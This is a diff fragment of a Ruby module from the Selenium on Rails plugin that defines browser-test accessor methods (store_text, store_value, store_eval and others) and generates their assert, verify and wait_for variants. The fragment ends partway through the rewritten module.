-  # "on" or "off" depending on whether the element is checked or not. 
-  #
-  # Related Assertions, automatically generated:
-  # * <tt>assert_value(locator, pattern)</tt>
-  # * <tt>assert_not_value(locator, pattern)</tt>
-  # * <tt>verify_value_present(locator, pattern)</tt>
-  # * <tt>verify_not_value(locator, pattern)</tt>
-  # * <tt>wait_for_value(locator, pattern)</tt>
-  # * <tt>wait_for_not_value(locator, pattern)</tt>
-  def store_value locator, variable_name
-    command 'storeValue', locator, variable_name
-  end
-
-  # Gets the text of an element. This works for any element that contains text.
-  # This command uses either the +textContent+ (Mozilla-like browsers) or the
-  # +innerText+ (IE-like browsers) of the element, which is the rendered text
-  # shown to the user.
-  #
-  # Related Assertions, automatically generated:
-  # * <tt>assert_text(locator, pattern)</tt>
-  # * <tt>assert_not_text(locator, pattern)</tt>
-  # * <tt>verify_text_present(locator, pattern)</tt>
-  # * <tt>verify_not_text(locator, pattern)</tt>
-  # * <tt>wait_for_text(locator, pattern)</tt>
-  # * <tt>wait_for_not_text(locator, pattern)</tt>
-  def store_text locator, variable_name
-    command 'storeText', locator, variable_name
-  end
-
-  # Gets the result of evaluating the specified JavaScript snippet. The snippet
-  # may have multiple lines, but only the result of the last line will be
-  # returned.
-  #
-  # Note that, by default, the snippet will run in the context of the
-  # "selenium" object itself, so +this+ will refer to the Selenium object, and
-  # +window+ will refer to the top-level runner test window, not the window of
-  # your application.
-  #
-  # If you need a reference to the window of your application, you can refer to
-  # <tt>this.browserbot.getCurrentWindow()</tt> and if you need to use a locator to
-  # refer to a single element in your application page, you can use
-  # <tt>this.page().findElement("foo")</tt> where <tt>"foo"</tt> is your locator.
-  #
-  # Related Assertions, automatically generated:
-  # * <tt>assert_eval(script, pattern)</tt>
-  # * <tt>assert_not_eval(script, pattern)</tt>
-  # * <tt>verify_eval_present(script, pattern)</tt>
-  # * <tt>verify_not_eval(script, pattern)</tt>
-  # * <tt>wait_for_eval(script, pattern)</tt>
-  # * <tt>wait_for_not_eval(script, pattern)</tt>
-  def store_eval script, variable_name
-    command 'storeEval', script, variable_name
-  end
-
-  # Gets whether a toggle-button (checkbox/radio) is checked. Fails if the
-  # specified element doesn't exist or isn't a toggle-button.
-  #
-  # Related Assertions, automatically generated:
-  # * <tt>assert_checked(locator)</tt>
-  # * <tt>assert_not_checked(locator)</tt>
-  # * <tt>verify_checked_present(locator)</tt>
-  # * <tt>verify_not_checked(locator)</tt>
-  # * <tt>wait_for_checked(locator)</tt>
-  # * <tt>wait_for_not_checked(locator)</tt>
-  def store_checked locator, variable_name
-    command 'storeChecked', locator, variable_name
-  end
-
-  # Gets the text from a cell of a table.
-  #
-  # Related Assertions, automatically generated:
-  # * <tt>assert_table(locator, row, column, pattern)</tt>
-  # * <tt>assert_not_table(locator, row, column, pattern)</tt>
-  # * <tt>verify_table_present(locator, row, column, pattern)</tt>
-  # * <tt>verify_not_table(locator, row, column, pattern)</tt>
-  # * <tt>wait_for_table(locator, row, column, pattern)</tt>
-  # * <tt>wait_for_not_table(locator, row, column, pattern)</tt>
-  def store_table locator, row, column, variable_name
-    command 'storeTable', "#{locator}.#{row}.#{column}", variable_name
-  end
-
-  # Verifies that the selected option of a drop-down satisfies the
-  # <tt>option_locator</tt>.
-  #
-  # <tt>option_locator</tt> is typically just an option label (e.g. "John Smith").
-  #
-  # See the <tt>select</tt> command for more information about option locators.
-  #
-  # NOTE: <tt>store_selected</tt> is currently not supported by Selenium Core.
-  #
-  # Related Assertions, automatically generated:
-  # * <tt>assert_selected(locator, option_locator)</tt>
-  # * <tt>assert_not_selected(locator, option_locator)</tt>
-  # * <tt>verify_selected_present(locator, option_locator)</tt>
-  # * <tt>verify_not_selected(locator, option_locator)</tt>
-  # * <tt>wait_for_selected(locator, option_locator)</tt>
-  # * <tt>wait_for_not_selected(locator, option_locator)</tt>
-  def store_selected locator, option_locator, variable_name
-    raise 'Not supported in Selenium Core at the moment'
-  end
-  
-  # Gets option element ID for selected option in the specified select element.
-  #
-  # Related Assertions, automatically generated:
-  # * <tt>assert_selected_id(select_locator, pattern)</tt>
-  # * <tt>assert_not_selected_id(select_locator, pattern)</tt>
-  # * <tt>verify_selected_id(select_locator, pattern)</tt>
-  # * <tt>verify_not_selected_id(select_locator, pattern)</tt>
-  # * <tt>wait_for_selected_id(select_locator, pattern)</tt>
-  # * <tt>wait_for_not_selected_id(select_locator, pattern)</tt>
-  def store_selected_id select_locator, variable_name
-    command 'storeSelectedId', select_locator, variable_name
-  end
-
-  # Gets all option element IDs for selected options in the specified select 
-  # or multi-select element.
-  #
-  # Related Assertions, automatically generated:
-  # * <tt>assert_selected_ids(select_locator, pattern)</tt>
-  # * <tt>assert_not_selected_ids(select_locator, pattern)</tt>
-  # * <tt>verify_selected_ids(select_locator, pattern)</tt>
-  # * <tt>verify_not_selected_ids(select_locator, pattern)</tt>
-  # * <tt>wait_for_selected_ids(select_locator, pattern)</tt>
-  # * <tt>wait_for_not_selected_ids(select_locator, pattern)</tt>
-  def store_selected_ids select_locator, variable_name
-    command 'storeSelectedIds', select_locator, variable_name
-  end
-  
-  # Gets option index (option number, starting at 0) for selected option in the 
-  # specified select element.
-  #
-  # Related Assertions, automatically generated:
-  # * <tt>assert_selected_index(select_locator, pattern)</tt>
-  # * <tt>assert_not_selected_index(select_locator, pattern)</tt>
-  # * <tt>verify_selected_index(select_locator, pattern)</tt>
-  # * <tt>verify_not_selected_index(select_locator, pattern)</tt>
-  # * <tt>wait_for_selected_index(select_locator, pattern)</tt>
-  # * <tt>wait_for_not_selected_index(select_locator, pattern)</tt>
-  def store_selected_index select_locator, variable_name
-    command 'storeSelectedIndex', select_locator, variable_name
-  end
-
-  # Gets all option indexes (option number, starting at 0) for selected options 
-  # in the specified select or multi-select element.
-  #
-  # Related Assertions, automatically generated:
-  # * <tt>assert_selected_indexes(select_locator, pattern)</tt>
-  # * <tt>assert_not_selected_indexes(select_locator, pattern)</tt>
-  # * <tt>verify_selected_indexes(select_locator, pattern)</tt>
-  # * <tt>verify_not_selected_indexes(select_locator, pattern)</tt>
-  # * <tt>wait_for_selected_indexes(select_locator, pattern)</tt>
-  # * <tt>wait_for_not_selected_indexes(select_locator, pattern)</tt>
-  def store_selected_indexes select_locator, variable_name
-    command 'storeSelectedIndexes', select_locator, variable_name
-  end
-  
-  # Gets option label (visible text) for selected option in the specified select 
-  # element.
-  #
-  # Related Assertions, automatically generated:
-  # * <tt>assert_selected_label(select_locator, pattern)</tt>
-  # * <tt>assert_not_selected_label(select_locator, pattern)</tt>
-  # * <tt>verify_selected_label(select_locator, pattern)</tt>
-  # * <tt>verify_not_selected_label(select_locator, pattern)</tt>
-  # * <tt>wait_for_selected_label(select_locator, pattern)</tt>
-  # * <tt>wait_for_not_selected_label(select_locator, pattern)</tt>
-  def store_selected_label select_locator, variable_name
-    command 'storeSelectedLabel', select_locator, variable_name
-  end
-
-  # Gets all option labels (visible text) for selected options in the specified 
-  # select or multi-select element.
-  #
-  # Related Assertions, automatically generated:
-  # * <tt>assert_selected_labels(select_locator, pattern)</tt>
-  # * <tt>assert_not_selected_labels(select_locator, pattern)</tt>
-  # * <tt>verify_selected_labels(select_locator, pattern)</tt>
-  # * <tt>verify_not_selected_labels(select_locator, pattern)</tt>
-  # * <tt>wait_for_selected_labels(select_locator, pattern)</tt>
-  # * <tt>wait_for_not_selected_labels(select_locator, pattern)</tt>
-  def store_selected_labels select_locator, variable_name
-    command 'storeSelectedLabels', select_locator, variable_name
-  end
-  
-  # Gets option value (value attribute) for selected option in the specified 
-  # select element.
-  #
-  # Related Assertions, automatically generated:
-  # * <tt>assert_selected_value(select_locator, pattern)</tt>
-  # * <tt>assert_not_selected_value(select_locator, pattern)</tt>
-  # * <tt>verify_selected_value(select_locator, pattern)</tt>
-  # * <tt>verify_not_selected_value(select_locator, pattern)</tt>
-  # * <tt>wait_for_selected_value(select_locator, pattern)</tt>
-  # * <tt>wait_for_not_selected_value(select_locator, pattern)</tt>
-  def store_selected_value select_locator, variable_name
-    command 'storeSelectedValue', select_locator, variable_name
-  end
-
-  # Gets all option values (value attribute) for selected options in the specified 
-  # select or multi-select element.
-  #
-  # Related Assertions, automatically generated:
-  # * <tt>assert_selected_values(select_locator, pattern)</tt>
-  # * <tt>assert_not_selected_values(select_locator, pattern)</tt>
-  # * <tt>verify_selected_values(select_locator, pattern)</tt>
-  # * <tt>verify_not_selected_values(select_locator, pattern)</tt>
-  # * <tt>wait_for_selected_values(select_locator, pattern)</tt>
-  # * <tt>wait_for_not_selected_values(select_locator, pattern)</tt>
-  def store_selected_values select_locator, variable_name
-    command 'storeSelectedValues', select_locator, variable_name
-  end
-  
-  # Determines whether some option in a drop-down menu is selected.
-  #
-  # Related Assertions, automatically generated:
-  # * <tt>assert_something_selected(select_locator)</tt>
-  # * <tt>assert_not_something_selected(select_locator)</tt>
-  # * <tt>verify_something_selected(select_locator)</tt>
-  # * <tt>verify_not_something_selected(select_locator)</tt>
-  # * <tt>wait_for_something_selected(select_locator)</tt>
-  # * <tt>wait_for_not_something_selected(select_locator)</tt>
-  def store_something_selected select_locator, variable_name
-    command 'storeSomethingSelected', select_locator, variable_name
-  end
-
-  # Gets all option labels for selected options in the specified select or
-  # multi-select element.
-  #
-  # The +pattern+ for the automatically generated assertions can either take an
-  # array or a pattern.
-  #  assert_selected_options 'fruits', ['apple', 'pear']
-  #  assert_selected_options 'fruits', 'a*,p*'
-  #
-  # Related Assertions, automatically generated:
-  # * <tt>assert_selected_options(locator, pattern)</tt>
-  # * <tt>assert_not_selected_options(locator, pattern)</tt>
-  # * <tt>verify_selected_options_present(locator, pattern)</tt>
-  # * <tt>verify_not_selected_options(locator, pattern)</tt>
-  # * <tt>wait_for_selected_options(locator, pattern)</tt>
-  # * <tt>wait_for_not_selected_options(locator, pattern)</tt>
-  def store_selected_options locator, variable_name
-    command 'storeSelectedOptions', locator, variable_name
-  end
-
-  # Gets all option labels in the specified select drop-down.
-  #
-  # The +pattern+ for the automatically generated assertions can either take an
-  # array or a pattern.
-  #  assert_select_options 'fruits', ['apple', 'pear']
-  #  assert_select_options 'fruits', 'a*,p*'
-  #
-  # Related Assertions, automatically generated:
-  # * <tt>assert_select_options(locator, pattern)</tt>
-  # * <tt>assert_not_select_options(locator, pattern)</tt>
-  # * <tt>verify_select_options_present(locator, pattern)</tt>
-  # * <tt>verify_not_select_options(locator, pattern)</tt>
-  # * <tt>wait_for_select_options(locator, pattern)</tt>
-  # * <tt>wait_for_not_select_options(locator, pattern)</tt>
-  def store_select_options locator, variable_name
-    command 'storeSelectOptions', locator, variable_name
-  end
-
-  # Gets the value of an element attribute.
-  #
-  # Related Assertions, automatically generated:
-  # * <tt>assert_attribute(locator, attribute_name, pattern)</tt>
-  # * <tt>assert_not_attribute(locator, attribute_name, pattern)</tt>
-  # * <tt>verify_attribute_present(locator, attribute_name, pattern)</tt>
-  # * <tt>verify_not_attribute(locator, attribute_name, pattern)</tt>
-  # * <tt>wait_for_attribute(locator, attribute_name, pattern)</tt>
-  # * <tt>wait_for_not_attribute(locator, attribute_name, pattern)</tt>
-  def store_attribute locator, attribute_name, variable_name
-    command 'storeAttribute', "#{locator}@#{attribute_name}", variable_name
-  end
-  
-  # Check if these two elements have same parent and are ordered. Two 
-  # same elements will not be considered ordered.
-  #
-  # NOTE: <tt>store_ordered</tt> is currently not supported by Selenium Core.
-  #
-  # Related Assertions, automatically generated:
-  # * <tt>assert_ordered(locator_1, locator_2)</tt>
-  # * <tt>assert_not_ordered(locator_1, locator_2)</tt>
-  # * <tt>verify_ordered(locator_1, locator_2)</tt>
-  # * <tt>verify_not_ordered(locator_1, locator_2)</tt>
-  # * <tt>wait_for_ordered(locator_1, locator_2)</tt>
-  # * <tt>wait_for_not_ordered(locator_1, locator_2)</tt>
-  def store_ordered locator_1, locator_2, variable_name
-    raise 'Not supported in Selenium Core at the moment'
-  end
-
-  # Verifies that the specified text pattern appears somewhere on the rendered
-  # page shown to the user.
-  #
-  # Related Assertions, automatically generated:
-  # * <tt>assert_text_present(pattern)</tt>
-  # * <tt>assert_text_not_present(pattern)</tt>
-  # * <tt>verify_text_present(pattern)</tt>
-  # * <tt>verify_text_not_present(pattern)</tt>
-  # * <tt>wait_for_text_present(pattern)</tt>
-  # * <tt>wait_for_text_not_present(pattern)</tt>
-  def store_text_present pattern, variable_name
-    command 'storeTextPresent', pattern, variable_name
-  end
-
-  # Verifies that the specified element is somewhere on the page.
-  #
-  # Related Assertions, automatically generated:
-  # * <tt>assert_element_present(locator)</tt>
-  # * <tt>assert_element_not_present(locator)</tt>
-  # * <tt>verify_element_present(locator)</tt>
-  # * <tt>verify_element_not_present(locator)</tt>
-  # * <tt>wait_for_element_present(locator)</tt>
-  # * <tt>wait_for_element_not_present(locator)</tt>
-  def store_element_present locator, variable_name
-    command 'storeElementPresent', locator, variable_name
-  end
-
-  # Determines if the specified element is visible. An element can be rendered
-  # invisible by setting the CSS "visibility" property to "hidden", or the
-  # "display" property to "none", either for the element itself or one if its
-  # ancestors. This method will fail if the element is not present.
-  #
-  # Related Assertions, automatically generated:
-  # * <tt>assert_visible(locator)</tt>
-  # * <tt>assert_not_visible(locator)</tt>
-  # * <tt>verify_visible(locator)</tt>
-  # * <tt>verify_not_visible(locator)</tt>
-  # * <tt>wait_for_visible(locator)</tt>
-  # * <tt>wait_for_not_visible(locator)</tt>
-  def store_visible locator, variable_name
-    command 'storeVisible', locator, variable_name
-  end
-  
-  # Retrieves the height of an element. This method will fail if the element 
-  # is not present.
-  #
-  # Related Assertions, automatically generated:
-  # * <tt>assert_element_height(locator, pattern)</tt>
-  # * <tt>assert_not_element_height(locator, pattern)</tt>
-  # * <tt>verify_element_height(locator, pattern)</tt>
-  # * <tt>verify_not_element_height(locator, pattern)</tt>
-  # * <tt>wait_for_element_height(locator, pattern)</tt>
-  # * <tt>wait_for_not_element_height(locator, pattern)</tt>
-  def store_element_height locator, variable_name
-    command 'storeElementHeight', locator, variable_name
-  end
-  
-  # Get the relative index of an element to its parent (starting from 0). 
-  # The comment node and empty text node will be ignored.
-  #
-  # Related Assertions, automatically generated:
-  # * <tt>assert_element_index(locator, pattern)</tt>
-  # * <tt>assert_not_element_index(locator, pattern)</tt>
-  # * <tt>verify_element_index(locator, pattern)</tt>
-  # * <tt>verify_not_element_index(locator, pattern)</tt>
-  # * <tt>wait_for_element_index(locator, pattern)</tt>
-  # * <tt>wait_for_not_element_index(locator, pattern)</tt>
-  def store_element_index locator, variable_name
-    command 'storeElementIndex', locator, variable_name
-  end
-  
-  # Retrieves the width of an element. This method will fail if the element 
-  # is not present.
-  #
-  # Related Assertions, automatically generated:
-  # * <tt>assert_element_width(locator, pattern)</tt>
-  # * <tt>assert_not_element_width(locator, pattern)</tt>
-  # * <tt>verify_element_width(locator, pattern)</tt>
-  # * <tt>verify_not_element_width(locator, pattern)</tt>
-  # * <tt>wait_for_element_width(locator, pattern)</tt>
-  # * <tt>wait_for_not_element_width(locator, pattern)</tt>
-  def store_element_width locator, variable_name
-    command 'storeElementWidth', locator, variable_name
-  end
-  
-  # Retrieves the horizontal position of an element. This method will fail 
-  # if the element is not present.
-  #
-  # Related Assertions, automatically generated:
-  # * <tt>assert_element_position_left(locator, pattern)</tt>
-  # * <tt>assert_not_element_position_left(locator, pattern)</tt>
-  # * <tt>verify_element_position_left(locator, pattern)</tt>
-  # * <tt>verify_not_element_position_left(locator, pattern)</tt>
-  # * <tt>wait_for_element_position_left(locator, pattern)</tt>
-  # * <tt>wait_for_not_element_position_left(locator, pattern)</tt>
-  def store_element_position_left locator, variable_name
-    command 'storeElementPositionLeft', locator, variable_name
-  end
-  
-  # Retrieves the vertical position of an element. This method will fail 
-  # if the element is not present.
-  #
-  # Related Assertions, automatically generated:
-  # * <tt>assert_element_position_top(locator, pattern)</tt>
-  # * <tt>assert_not_element_position_top(locator, pattern)</tt>
-  # * <tt>verify_element_position_top(locator, pattern)</tt>
-  # * <tt>verify_not_element_position_top(locator, pattern)</tt>
-  # * <tt>wait_for_element_position_top(locator, pattern)</tt>
-  # * <tt>wait_for_not_element_position_top(locator, pattern)</tt>
-  def store_element_position_top locator, variable_name
-    command 'storeElementPositionTop', locator, variable_name
-  end
-  
-  # Return the contents of the log.
-  #
-  # Related Assertions, automatically generated:
-  # * <tt>assert_log_messages(pattern)</tt>
-  # * <tt>assert_not_log_messages(pattern)</tt>
-  # * <tt>verify_log_messages(pattern)</tt>
-  # * <tt>verify_not_log_messages(pattern)</tt>
-  # * <tt>wait_for_log_messages(pattern)</tt>
-  # * <tt>wait_for_not_log_messages(pattern)</tt>
-  def store_log_messages variable_name
-    command 'storeLogMessages', variable_name
-  end
-
-  # Determines whether the specified input element is editable, i.e. hasn't
-  # been disabled. This method will fail if the specified element isn't an
-  # input element.
-  #
-  # Related Assertions, automatically generated:
-  # * <tt>assert_editable(locator)</tt>
-  # * <tt>assert_not_editable(locator)</tt>
-  # * <tt>verify_editable(locator)</tt>
-  # * <tt>verify_not_editable(locator)</tt>
-  # * <tt>wait_for_editable(locator)</tt>
-  # * <tt>wait_for_not_editable(locator)</tt>
-  def store_editable locator, variable_name
-    command 'storeEditable', locator, variable_name
-  end
-
-  # Returns the IDs of all buttons on the page.
-  #
-  # If a given button has no ID, it will appear as "" in this array.
-  #
-  # The +pattern+ for the automatically generated assertions can either take an
-  # array or a pattern.
-  #  assert_all_buttons ['but1', 'but2']
-  #  assert_all_buttons 'but?,but?*'
-  #
-  # Related Assertions, automatically generated:
-  # * <tt>assert_all_buttons(pattern)</tt>
-  # * <tt>assert_not_all_buttons(pattern)</tt>
-  # * <tt>verify_all_buttons(pattern)</tt>
-  # * <tt>verify_not_all_buttons(pattern)</tt>
-  # * <tt>wait_for_all_buttons(pattern)</tt>
-  # * <tt>wait_for_not_all_buttons(pattern)</tt>
-  def store_all_buttons variable_name
-    command 'storeAllButtons', variable_name
-  end
-
-  # Returns the IDs of all links on the page.
-  #
-  # If a given link has no ID, it will appear as "" in this array.
-  #
-  # The +pattern+ for the automatically generated assertions can either take an
-  # array or a pattern.
-  #  assert_all_links ['link1', 'link2']
-  #  assert_all_links 'link?,link?*'
-  #
-  # Related Assertions, automatically generated:
-  # * <tt>assert_all_links(pattern)</tt>
-  # * <tt>assert_not_all_links(pattern)</tt>
-  # * <tt>verify_all_links(pattern)</tt>
-  # * <tt>verify_not_all_links(pattern)</tt>
-  # * <tt>wait_for_all_links(pattern)</tt>
-  # * <tt>wait_for_not_all_links(pattern)</tt>
-  def store_all_links variable_name
-    command 'storeAllLinks', variable_name
-  end
-
-  # Returns the IDs of all input fields on the page.
-  #
-  # If a given field has no ID, it will appear as "" in this array.
-  #
-  # The +pattern+ for the automatically generated assertions can either take an
-  # array or a pattern.
-  #  assert_all_fields ['field1', 'field2']
-  #  assert_all_fields 'field?,field?*'
-  #
-  # Related Assertions, automatically generated:
-  # * <tt>assert_all_fields(pattern)</tt>
-  # * <tt>assert_not_all_fields(pattern)</tt>
-  # * <tt>verify_all_fields(pattern)</tt>
-  # * <tt>verify_not_all_fields(pattern)</tt>
-  # * <tt>wait_for_all_fields(pattern)</tt>
-  # * <tt>wait_for_not_all_fields(pattern)</tt>
-  def store_all_fields variable_name
-    command 'storeAllFields', variable_name
-  end
-
-  # Returns the entire HTML source between the opening and closing "html" tags.
-  #
-  # Related Assertions, automatically generated:
-  # * <tt>assert_html_source(pattern)</tt>
-  # * <tt>assert_not_html_source(pattern)</tt>
-  # * <tt>verify_html_source(pattern)</tt>
-  # * <tt>verify_not_html_source(pattern)</tt>
-  # * <tt>wait_for_html_source(pattern)</tt>
-  # * <tt>wait_for_not_html_source(pattern)</tt>
-  def store_html_source variable_name
-    command 'storeHtmlSource', variable_name
-  end
-
-  # Returns the specified expression.
-  #
-  # This is useful because of JavaScript preprocessing.
-  #
-  # Related Assertions, automatically generated:
-  # * <tt>assert_expression(expression, pattern)</tt>
-  # * <tt>assert_not_expression(expression, pattern)</tt>
-  # * <tt>verify_expression(expression, pattern)</tt>
-  # * <tt>verify_not_expression(expression, pattern)</tt>
-  # * <tt>wait_for_expression(expression, pattern)</tt>
-  # * <tt>wait_for_not_expression(expression, pattern)</tt>
-  def store_expression expression, variable_name
-    command 'storeExpression', expression, variable_name
-  end
-  
-  # Determine whether current/locator identify the frame containing this 
-  # running code.
-  #
-  # This is useful in proxy injection mode, where this code runs in every 
-  # browser frame and window, and sometimes the selenium server needs to 
-  # identify the "current" frame. In this case, when the test calls select_frame, 
-  # this routine is called for each frame to figure out which one has been 
-  # selected. The selected frame will return true, while all others will return 
-  # false.
-  #
-  # NOTE: <tt>store_whether_this_frame_match_frame_expression</tt> is currently 
-  # not supported by Selenium Core.
-  #
-  # Related Assertions, automatically generated:
-  # * <tt>assert_whether_this_frame_match_frame_expression(current_frame_string, target)</tt>
-  # * <tt>assert_not_whether_this_frame_match_frame_expression(current_frame_string, target)</tt>
-  # * <tt>verify_whether_this_frame_match_frame_expression(current_frame_string, target)</tt>
-  # * <tt>verify_not_whether_this_frame_match_frame_expression(current_frame_string, target)</tt>
-  # * <tt>wait_for_whether_this_frame_match_frame_expression(current_frame_string, target)</tt>
-  # * <tt>wait_for_not_whether_this_frame_match_frame_expression(current_frame_string, target)</tt>
-  def store_whether_this_frame_match_frame_expression current_frame_string, target, variable_name
-    raise 'Not supported in Selenium Core at the moment'
-  end
-  
-  # Determine whether current_window_string plus target identify the window 
-  # containing this running code.
-  #
-  # This is useful in proxy injection mode, where this code runs in every browser 
-  # frame and window, and sometimes the selenium server needs to identify the 
-  # "current" window. In this case, when the test calls select_window, this routine 
-  # is called for each window to figure out which one has been selected. The selected 
-  # window will return true, while all others will return false.
-  #
-  # NOTE: <tt>store_whether_this_window_match_window_expression</tt> is currently 
-  # not supported by Selenium Core.
-  #
-  # Related Assertions, automatically generated:
-  # * <tt>assert_whether_this_window_match_window_expression(current_window_string, target)</tt>
-  # * <tt>assert_not_whether_this_window_match_window_expression(current_window_string, target)</tt>
-  # * <tt>verify_whether_this_window_match_window_expression(current_window_string, target)</tt>
-  # * <tt>verify_not_whether_this_window_match_window_expression(current_window_string, target)</tt>
-  # * <tt>wait_for_whether_this_window_match_window_expression(current_window_string, target)</tt>
-  # * <tt>wait_for_not_whether_this_window_match_window_expression(current_window_string, target)</tt>
-  def store_whether_this_window_match_window_expression current_window_string, target, variable_name
-    raise 'Not supported in Selenium Core at the moment'
-  end
-
-private
-  # Generates all assertions for the accessors.
-  def self.generate_methods
-    public_instance_methods.each do |method|
-      case method
-      when 'store_alert_present',
-           'store_prompt_present',
-           'store_confirmation_present'
-        each_assertion method do |assertion_method, command_name|
-          define_method assertion_method do
-             command command_name
-          end
-        end
-      when 'store_error_on_next',
-           'store_failure_on_next',
-           'store_alert',
-           'store_all_window_ids',
-           'store_all_window_names',
-           'store_all_window_titles',
-           'store_confirmation',
-           'store_cookie',
-           'store_log_messages',
-           'store_mouse_speed',
-           'store_prompt',
-           'store_title',
-           'store_body_text',
-           'store_text_present',
-           'store_element_present',
-           'store_visible',
-           'store_editable',
-           'store_html_source',
-           'store_checked',
-           'store_something_selected'
-        each_assertion method do |assertion_method, command_name|
-          define_method assertion_method do |pattern|
-             command command_name, pattern
-          end
-        end
-      when 'store_attribute_from_all_windows',
-           'store_value',
-           'store_text',
-           'store_eval',
-           'store_cursor_position',
-           'store_selected',
-           'store_selected_id',
-           'store_selected_ids',
-           'store_selected_index',
-           'store_selected_indexes',
-           'store_selected_label',
-           'store_selected_labels',
-           'store_selected_value',
-           'store_selected_values',
-           'store_element_height',
-           'store_element_index',
-           'store_element_width',
-           'store_element_position_left',
-           'store_element_position_top',
-           'store_expression',
-           'store_ordered',
-           'store_whether_this_frame_match_frame_expression',
-           'store_whether_this_window_match_window_expression'
-        each_assertion method do |assertion_method, command_name|
-          define_method assertion_method do |arg1, arg2|
-             command command_name, arg1, arg2
-          end
-        end
-      when 'store_all_buttons',
-           'store_all_links',
-           'store_all_fields'
-        each_assertion method do |assertion_method, command_name|
-          define_method assertion_method do |pattern|
-             command command_name, collection_arg(pattern)
-          end
-        end
-      when 'store_select_options',
-           'store_selected_options'
-        each_assertion method do |assertion_method, command_name|
-          define_method assertion_method do |locator, pattern|
-             command command_name, locator, collection_arg(pattern)
-          end
-        end
-      when 'store_attribute'
-        each_assertion method do |assertion_method, command_name|
-          define_method assertion_method do |locator, attribute_name, pattern|
-             command command_name, "#{locator}@#{attribute_name}", pattern
-          end
-        end
-      when 'store_table'
-        each_assertion method do |assertion_method, command_name|
-          define_method assertion_method do |locator, row, column, pattern|
-             command command_name, "#{locator}.#{row}.#{column}", pattern
-          end
-        end
-      when 'store_absolute_location',
-           'store_location'
-        each_assertion method do |assertion_method, command_name|
-          define_method assertion_method do |pattern|
-            if method == 'store_absolute_location' and pattern.is_a? Hash
-              pattern[:only_path] = false
-            end
-
-            command command_name, url_arg(pattern)
-          end
-        end
-      when /^store_/
-         raise 'internal error'
-      end
-    end
-  end
-
-  # Generates all the assertions needed given a +store_method+.
-  def self.each_assertion store_method
-    before_negation = nil
-    after_negation = store_method.split('_')[1..-1] #throw away 'store'
-    if after_negation.last == 'present'
-      before_negation, after_negation = after_negation, after_negation.pop
-    end
-
-    ['assert', 'verify', ['wait','for']].each do |action|
-      [nil, 'not'].each do |negation|
-        name = [action, before_negation, negation, after_negation].flatten.reject{|a|a.nil?}
-        method_name = name.join '_'
-        command = name.inject(name.shift.clone) {|n, p| n << p.capitalize}
-        yield method_name, command
-      end
-    end
-  end
-
-  generate_methods
-end
+# The accessors available for SeleniumOnRails::TestBuilder tests.
+#
+# For each +store_foo+ there's +assert_foo+, +assert_not_foo+, +verify_foo+,
+# +verify_not_foo+, +wait_for_foo+, +wait_for_not_foo+.
+module SeleniumOnRails::TestBuilderAccessors
+  
+  # Tell Selenium to expect an error on the next command execution.
+  #
+  # NOTE: <tt>store_error_on_next</tt> is currently not supported by 
+  # Selenium Core and is only added to here as a shortcut for 
+  # generating the related assertions.
+  #
+  # Related Assertions, automatically generated:
+  # * <tt>assert_error_on_next(message)</tt>
+  # * <tt>assert_not_error_on_next(message)</tt>
+  # * <tt>verify_error_on_next(message)</tt>
+  # * <tt>verify_not_error_on_next(message)</tt>
+  # * <tt>wait_for_error_on_next(message)</tt>
+  # * <tt>wait_for_not_error_on_next(message)</tt>
+  def store_error_on_next message
+    raise 'Not supported in Selenium Core at the moment'
+  end
+  
+  # Tell Selenium to expect a failure on the next command execution.
+  #
+  # NOTE: <tt>store_failure_on_next</tt> is currently not supported by 
+  # Selenium Core and is only added to here as a shortcut for 
+  # generating the related assertions.
+  #
+  # Related Assertions, automatically generated:
+  # * <tt>assert_failure_on_next(message)</tt>
+  # * <tt>assert_not_failure_on_next(message)</tt>
+  # * <tt>verify_failure_on_next(message)</tt>
+  # * <tt>verify_not_failure_on_next(message)</tt>
+  # * <tt>wait_for_failure_on_next(message)</tt>
+  # * <tt>wait_for_not_failure_on_next(message)</tt>
+  def store_failure_on_next message
+    raise 'Not supported in Selenium Core at the moment'
+  end
+  
+  # Returns the IDs of all windows that the browser knows about.
+  #
+  # Related Assertions, automatically generated:
+  # * <tt>assertAllWindowIds(pattern)</tt>
+  # * <tt>assertNotAllWindowIds(pattern)</tt>
+  # * <tt>verifyAllWindowIds(pattern)</tt>
+  # * <tt>verifyNotAllWindowIds(pattern)</tt>
+  # * <tt>waitForAllWindowIds(pattern)</tt>
+  # * <tt>waitForNotAllWindowIds(pattern)</tt>
+  def store_all_window_ids variable_name
+    command 'storeAllWindowIds', variable_name
+  end
+  
+  # Returns the names of all windows that the browser knows about.
+  #
+  # Related Assertions, automatically generated:
+  # * <tt>assertAllWindowNames(pattern)</tt>
+  # * <tt>assertNotAllWindowNames(pattern)</tt>
+  # * <tt>verifyAllWindowNames(pattern)</tt>
+  # * <tt>verifyNotAllWindowNames(pattern)</tt>
+  # * <tt>waitForAllWindowNames(pattern)</tt>
+  # * <tt>waitForNotAllWindowNames(pattern)</tt>
+  def store_all_window_names variable_name
+    command 'storeAllWindowNames', variable_name
+  end
+  
+  # Returns the titles of all windows that the browser knows about.
+  #
+  # Related Assertions, automatically generated:
+  # * <tt>assertAllWindowTitles(pattern)</tt>
+  # * <tt>assertNotAllWindowTitles(pattern)</tt>
+  # * <tt>verifyAllWindowTitles(pattern)</tt>
+  # * <tt>verifyNotAllWindowTitles(pattern)</tt>
+  # * <tt>waitForAllWindowTitles(pattern)</tt>
+  # * <tt>waitForNotAllWindowTitles(pattern)</tt>
+  def store_all_window_titles variable_name
+    command 'storeAllWindowTitles', variable_name
+  end
+  
+  # Has an alert occurred? 
+  #
+  # Related Assertions, automatically generated:
+  # * <tt>assert_alert_present</tt>
+  # * <tt>assert_alert_not_present</tt>
+  # * <tt>verify_alert_present</tt>
+  # * <tt>verify_alert_not_present</tt>
+  # * <tt>wait_for_alert_present</tt>
+  # * <tt>wait_for_alert_not_present</tt>
+  def store_alert_present variable_name
+    command 'storeAlertPresent', variable_name
+  end
+  
+  # Returns every instance of some attribute from all known windows.
+  #
+  # Related Assertions, automatically generated:
+  # * <tt>assert_attribute_from_all_windows(attribute_name, pattern)</tt>
+  # * <tt>assert_not_attribute_from_all_windows(attribute_name, pattern)</tt>
+  # * <tt>verify_attribute_from_all_windows(attribute_name, pattern)</tt>
+  # * <tt>verify_not_attribute_from_all_windows(attribute_name, pattern)</tt>
+  # * <tt>wait_for_attribute_from_all_windows(attribute_name, pattern)</tt>
+  # * <tt>wait_for_not_attribute_from_all_windows(attribute_name, pattern)</tt>
+  def store_attribute_from_all_windows attribute_name, variable_name
+    command 'storeAttributeFromAllWindows', attribute_name, variable_name
+  end
+
+  # Has a prompt occurred? 
